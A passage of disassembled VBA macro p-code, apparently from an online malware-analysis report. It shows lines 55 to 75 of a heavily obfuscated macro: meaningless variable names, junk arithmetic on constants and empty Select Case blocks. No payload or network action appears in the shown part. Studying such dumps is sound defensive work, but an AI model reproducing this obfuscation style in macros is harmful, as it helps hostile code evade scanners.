' 	LitDI4 0x663E 0x1689 
' 	Case 
' 	CaseDone 
' Line #55:
' 	Ld wBZ1cGA 
' 	St fkAxAAUD 
' Line #56:
' 	LitDI4 0x06A3 0x3573 
' 	ArgsLd Atn 0x0001 
' 	St rAAABA 
' Line #57:
' 	EndSelect 
' Line #58:
' 	EndIfBlock 
' Line #59:
' 	Ld N4XAAox 
' 	Ld tDQAUQ 
' 	Eq 
' 	IfBlock 
' Line #60:
' 	Ld NAxUBB_A 
' 	Ld aAGcUcQZ 
' 	Sub 
' 	St ZZAA1BGo 
' Line #61:
' 	Ld tUQACA 
' 	SelectCase 
' Line #62:
' 	LitDI4 0xD5B3 0x08E0 
' 	Case 
' 	CaseDone 
' Line #63:
' 	LitDI4 0x36CF 0x24CE 
' 	Ld JQcAGB 
' 	LitDI4 0x8CD8 0x0A57 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0x1924 0x014C 
' 	Div 
' 	LitDI4 0xBD0D 0x21E5 
' 	Ld r_wAAAA 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St nAUAGC 
' Line #64:
' 	Ld lAcAAA 
' 	ArgsLd Round 0x0001 
' 	St mGDAcAA 
' Line #65:
' 	LitDI4 0x883A 0x2F69 
' 	Case 
' 	CaseDone 
' Line #66:
' 	Ld MA_ABxA 
' 	St LoAAUDA 
' Line #67:
' 	LitDI4 0xA83D 0x2E9D 
' 	ArgsLd Atn 0x0001 
' 	St jUGQXA 
' Line #68:
' 	EndSelect 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	EndIfBlock 
' Line #71:
' 	Ld hA4AAA 
' 	Ld jZQAxxXZ 
' 	Eq 
' 	IfBlock 
' Line #72:
' 	Ld PAU1wB 
' 	Ld oAAD1B4 
' 	Sub 
' 	St HQAUDXxB 
' Line #73:
' 	Ld EcZC1AB 
' 	SelectCase 
' Line #74:
' 	LitDI4 0x791A 0x1B76 
' 	Case 
' 	CaseDone 
' Line #75:
' 	LitDI4 0x8500 0x032B 
' 	Ld MxAxAUoC 
' 	LitDI4 0xAA63 0x0002 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0xA23B 0x0CFA 
' 	Div 
' 	LitDI4 0x0D81 0x3185 
' 	Ld GCQABcX 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
…

Open this report in the interactive analyzer, or submit your own file for analysis.